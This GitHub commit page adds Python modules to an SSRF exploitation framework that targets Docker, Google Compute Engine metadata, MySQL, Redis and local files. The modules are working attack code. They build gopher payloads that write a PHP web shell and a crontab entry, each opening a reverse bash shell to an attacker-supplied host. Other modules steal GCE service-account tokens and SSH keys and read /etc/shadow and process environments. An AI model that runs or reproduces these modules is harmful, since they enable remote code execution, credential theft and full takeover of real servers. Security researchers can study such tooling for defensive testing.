Skip to content

Commit 87645ca

Browse files
authored
Add files via upload
1 parent 85973a0 commit 87645ca

File tree

9 files changed

+8899
-0
lines changed

9 files changed

+8899
-0
lines changed

data/ports.txt

+8,282
Large diffs are not rendered by default.

modules/docker.py

+54
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
from utils.utils import *
2+
import logging
3+
import json
4+
import urllib.parse
5+
6+
# NOTE
7+
# Enable Remote API with the following command
8+
# /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
9+
10+
name = "docker"
11+
description = "Docker Infoleaks via Open Docker API"
12+
author = "errorfiathck"
13+
documentation = []
14+
15+
class exploit():
16+
17+
def __init__(self, requester, args):
18+
logging.info(f"Module '{name}' launched !")
19+
gen_host = gen_ip_list("127.0.0.1", args.level)
20+
port = "2375"
21+
22+
for ip in gen_host:
23+
24+
# Step 1 - Extract id and name from each container
25+
data = "containers/json"
26+
payload = wrapper_http(data, ip, port)
27+
r = requester.do_request(args.param, payload)
28+
29+
if r.json:
30+
for container in r.json():
31+
container_id = container['Id']
32+
container_name = container['Names'][0].replace('/','')
33+
container_command = container['Command']
34+
35+
logging.info("Found docker container")
36+
logging.info(f"\033[32mId\033[0m : {container_id}")
37+
logging.info(f"\033[32mName\033[0m : {container_name}")
38+
logging.info(f"\033[32mCommand\033[0m : {container_command}\n")
39+
40+
# Step 2 - Extract id and name from each image
41+
data = "images/json"
42+
payload = wrapper_http(data, ip, port)
43+
r = requester.do_request(args.param, payload)
44+
45+
if r.json:
46+
images = {}
47+
for index, container in enumerate(r.json()):
48+
container_id = container['Id']
49+
container_name = container['RepoTags'][0].replace('/','')
50+
51+
logging.info(f"Found docker image n°{index}")
52+
logging.info(f"\033[32mId\033[0m : {container_id}")
53+
logging.info(f"\033[32mName\033[0m : {container_name}\n")
54+
images[container_name] = container_id

modules/gce.py

+59
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
from utils.utils import *
2+
import logging
3+
import os
4+
5+
name = "gce"
6+
description = "Access sensitive data from GCE"
7+
author = "mrtc0"
8+
documentation = [
9+
"https://cloud.google.com/compute/docs/storing-retrieving-metadata",
10+
"https://hackerone.com/reports/341876",
11+
"https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/"
12+
]
13+
14+
class exploit():
15+
endpoints = set()
16+
17+
def __init__(self, requester, args):
18+
logging.info(f"Module '{name}' launched !")
19+
self.add_endpoints()
20+
21+
r = requester.do_request(args.param, "")
22+
if r != None:
23+
default = r.text
24+
25+
# Create directory to store files
26+
directory = requester.host
27+
# Replace : with _ for window folder name safe
28+
# https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters
29+
directory = directory.replace(':','_')
30+
if not os.path.exists(directory):
31+
os.makedirs(directory)
32+
33+
for endpoint in self.endpoints:
34+
payload = wrapper_http(endpoint[1], endpoint[0] , "80")
35+
r = requester.do_request(args.param, payload)
36+
diff = diff_text(r.text, default)
37+
if diff != "":
38+
39+
# Display diff between default and ssrf request
40+
logging.info(f"\033[32mReading file\033[0m : {payload}")
41+
print(diff)
42+
43+
# Write diff to a file
44+
filename = endpoint[1].split('/')[-1]
45+
if filename == "":
46+
filename = endpoint[1].split('/')[-2:-1][0]
47+
48+
logging.info(f"\033[32mWriting file\033[0m : {payload} to {directory + '/' + filename}")
49+
with open(directory + "/" + filename, 'w') as f:
50+
f.write(diff)
51+
52+
53+
def add_endpoints(self):
54+
self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json") )
55+
self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/service-accounts/default/token") )
56+
self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/attributes/kube-env?alt=json") )
57+
self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json") )
58+
59+

modules/mysql.py

+88
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
from utils.utils import *
2+
import logging
3+
import binascii
4+
5+
# NOTE
6+
# This exploit is a Python 3 version of the Gopherus tool
7+
8+
name = "mysql"
9+
description = "Execute MySQL command < 8.0"
10+
author = "errorfiathck"
11+
documentation = []
12+
13+
14+
class exploit():
15+
user = "root"
16+
query = "SELECT database();#"
17+
reverse = "select \"<?php system('bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1'); ?>\" INTO OUTFILE '/var/www/html/shell.php'"
18+
dios = "(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#"
19+
20+
21+
def __init__(self, requester, args):
22+
logging.info(f"Module '{name}' launched !")
23+
24+
# Encode the username for the request
25+
self.user = input("Give MySQL username: ")
26+
encode_user = binascii.hexlify( self.user.encode() )
27+
user_length = len(self.user)
28+
temp = user_length - 4
29+
length = f'{(0xa3 + temp):x}'
30+
31+
# Authenticate to MySQL service - only work with users allowed without password
32+
dump = length+ "00000185a6ff0100000001210000000000000000000000000000000000000000000000"
33+
dump += encode_user.decode()
34+
dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c"
35+
dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d"
36+
dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"
37+
38+
query = input("Give MySQL query to execute (reverse/dios or any SQL statement): ")
39+
40+
# Reverse shell - writing system() in /var/www/html/shell.php
41+
if query == "reverse":
42+
self.query = self.reverse
43+
if args.lhost == None:
44+
self.query = self.query.replace("SERVER_HOST", input("Server Host:"))
45+
else:
46+
self.query = self.query.replace("SERVER_HOST", args.lhost)
47+
48+
if args.lport == None:
49+
self.query = self.query.replace("SERVER_PORT", input("Server Port:"))
50+
else:
51+
self.query = self.query.replace("SERVER_PORT", args.lport)
52+
53+
# Dump in one shot - extract every databases/tables/columns
54+
elif query == "dios":
55+
self.query = self.dios
56+
57+
else:
58+
self.query = query
59+
60+
auth = dump.replace("\n","")
61+
62+
# For every IP generated, send the payload and extract the result
63+
gen_host = gen_ip_list("127.0.0.1", args.level)
64+
for ip in gen_host:
65+
payload = self.get_payload(self.query, auth, ip)
66+
logging.info(f"Generated payload : {payload}")
67+
68+
r1 = requester.do_request(args.param, payload)
69+
r2 = requester.do_request(args.param, "")
70+
if r1 != None and r2!= None:
71+
diff = diff_text(r1.text, r2.text)
72+
print(diff)
73+
74+
75+
def encode(self, s, ip):
76+
a = [s[i:i + 2] for i in range(0, len(s), 2)]
77+
return wrapper_gopher("%"+"%".join(a), ip, "3306")
78+
79+
80+
def get_payload(self, query, auth, ip):
81+
if(query.strip()!=''):
82+
query = binascii.hexlify( query.encode() )
83+
query_length = f'{(int((len(query) / 2) + 1)):x}'
84+
pay1 = query_length.rjust(2,'0') + "00000003" + query.decode()
85+
final = self.encode(auth + pay1 + "0100000001", ip)
86+
return final
87+
else:
88+
return self.encode(auth, ip)

modules/portscan.py

+50
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
from utils.utils import *
2+
from datetime import datetime
3+
import logging
4+
import concurrent.futures
5+
6+
name = "portscan"
7+
description = "Scan ports of the target"
8+
author = "errorfiathck"
9+
documentation = []
10+
11+
class exploit():
12+
13+
def __init__(self, requester, args):
14+
logging.info(f"Module '{name}' launched !")
15+
r = requester.do_request(args.param, "")
16+
17+
load_ports = ""
18+
with open("data/ports", "r") as f:
19+
load_ports = f.readlines()
20+
21+
gen_host = gen_ip_list("127.0.0.1", args.level)
22+
for ip in gen_host:
23+
with concurrent.futures.ThreadPoolExecutor(max_workers=None) as executor:
24+
future_to_url = {executor.submit(self.concurrent_request, requester, args.param, ip, port, r): port for port in load_ports}
25+
26+
27+
def concurrent_request(self, requester, param, host, port, compare):
28+
try:
29+
payload = wrapper_http("", host, port.strip())
30+
r = requester.do_request(param, payload)
31+
32+
if r != None and not "Connection refused" in r.text:
33+
timer = datetime.today().time().replace(microsecond=0)
34+
port = port.strip() + " "*20
35+
36+
if r.text != '' and r.text != compare.text:
37+
print(f"\t[{timer}] IP:{host:12s}, Found \033[32mopen \033[0m port n°{port}")
38+
else:
39+
print(f"\t[{timer}] IP:{host:12s}, Found \033[31mfiltered\033[0m port n°{port}")
40+
41+
timer = datetime.today().time().replace(microsecond=0)
42+
port = port.strip() + " "*20
43+
print(f"\t[{timer}] Checking port n°{port}", end='\r'),
44+
45+
except Exception as e:
46+
print(e)
47+
timer = datetime.today().time().replace(microsecond=0)
48+
port = port.strip() + " "*20
49+
print(f"\t[{timer}] IP:{host:212}, \033[33mTimed out\033[0m port n°{port}")
50+
pass

modules/readfiles.py

+50
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
from utils.utils import *
2+
import logging
3+
import os
4+
from argparse import ArgumentParser
5+
6+
name = "readfiles"
7+
description = "Read files from the target"
8+
author = "Swissky"
9+
documentation = []
10+
11+
class exploit():
12+
13+
def __init__(self, requester, args):
14+
logging.info(f"Module '{name}' launched !")
15+
self.files = args.targetfiles.split(',') if args.targetfiles != None else ["/etc/passwd", "/etc/lsb-release", "/etc/shadow", "/etc/hosts", "\/\/etc/passwd", "/proc/self/environ", "/proc/self/cmdline", "/proc/self/cwd/index.php", "/proc/self/cwd/application.py", "/proc/self/cwd/main.py", "/proc/self/exe"]
16+
self.file_magic = {'elf' : bytes([0x7f, 0x45, 0x4c, 0x46])}
17+
18+
r = requester.do_request(args.param, "")
19+
20+
if r != None:
21+
default = r.text
22+
23+
# Create directory to store files
24+
directory = requester.host
25+
# Replace : with _ for window folder name safe
26+
# https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters
27+
directory = directory.replace(':','_')
28+
if not os.path.exists(directory):
29+
os.makedirs(directory)
30+
31+
for f in self.files:
32+
r = requester.do_request(args.param, wrapper_file(f))
33+
diff = diff_text(r.text, default)
34+
if diff != "":
35+
36+
# Display diff between default and ssrf request
37+
logging.info(f"\033[32mReading file\033[0m : {f}")
38+
if bytes(diff, encoding='utf-8').startswith(self.file_magic["elf"]):
39+
print("ELF binary found - not printing to stdout")
40+
else:
41+
print(diff)
42+
43+
# Write diff to a file
44+
filename = f.replace('\\','_').replace('/','_')
45+
logging.info(f"\033[32mWriting file\033[0m : {f} to {directory + '/' + filename}")
46+
with open(directory + "/" + filename, 'w') as f:
47+
f.write(diff)
48+
49+
else:
50+
print("Empty response")

modules/redis.py

+59
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
from utils.utils import *
2+
import logging
3+
4+
name = "redis"
5+
description = "Redis RCE - Crontab reverse shell"
6+
author = "errorfiathck"
7+
documentation = []
8+
9+
class exploit():
10+
SERVER_HOST = "127.0.0.1"
11+
SERVER_PORT = "4242"
12+
SERVER_CRON = "/var/lib/redis"
13+
14+
def __init__(self, requester, args):
15+
logging.info(f"Module '{name}' launched !")
16+
17+
# Handle args for reverse shell
18+
if args.lhost == None: self.SERVER_HOST = input("Server Host:")
19+
else: self.SERVER_HOST = args.lhost
20+
21+
if args.lport == None: self.SERVER_PORT = input("Server Port:")
22+
else: self.SERVER_PORT = args.lport
23+
24+
self.SERVER_CRON = input("Server Cron (e.g:/var/spool/cron/):")
25+
self.LENGTH_PAYLOAD = 65 - len("SERVER_HOST") - len("SERVER_PORT")
26+
self.LENGTH_PAYLOAD = self.LENGTH_PAYLOAD + len(str(self.SERVER_HOST))
27+
self.LENGTH_PAYLOAD = self.LENGTH_PAYLOAD + len(str(self.SERVER_PORT))
28+
29+
# Using a generator to create the host list
30+
# Edit the following ip if you need to target something else
31+
gen_host = gen_ip_list("127.0.0.1", args.level)
32+
for ip in gen_host:
33+
34+
# Data and port for the service
35+
port = "6379"
36+
data = "*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$LENGTH_PAYLOAD%0d%0a%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/SERVER_HOST/SERVER_PORT%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0aSERVER_CRON%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a"
37+
payload = wrapper_gopher(data, ip , port)
38+
39+
# Handle args for reverse shell
40+
payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
41+
payload = payload.replace("SERVER_PORT", self.SERVER_PORT)
42+
payload = payload.replace("SERVER_CRON", self.SERVER_CRON)
43+
payload = payload.replace("LENGTH_PAYLOAD", str(self.LENGTH_PAYLOAD))
44+
45+
if args.verbose == True:
46+
logging.info(f"Generated payload : {payload}")
47+
48+
# Send the payload
49+
r = requester.do_request(args.param, payload)
50+
51+
if args.verbose == True:
52+
logging.info(f"Module '{name}' ended !")
53+
54+
"""
55+
TODO:
56+
This exploit only works if you have control over a cron file.
57+
Command execution via PHP file is not implemented, a simple example is the following.
58+
gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT
59+
"""

0 commit comments

Comments
 (0)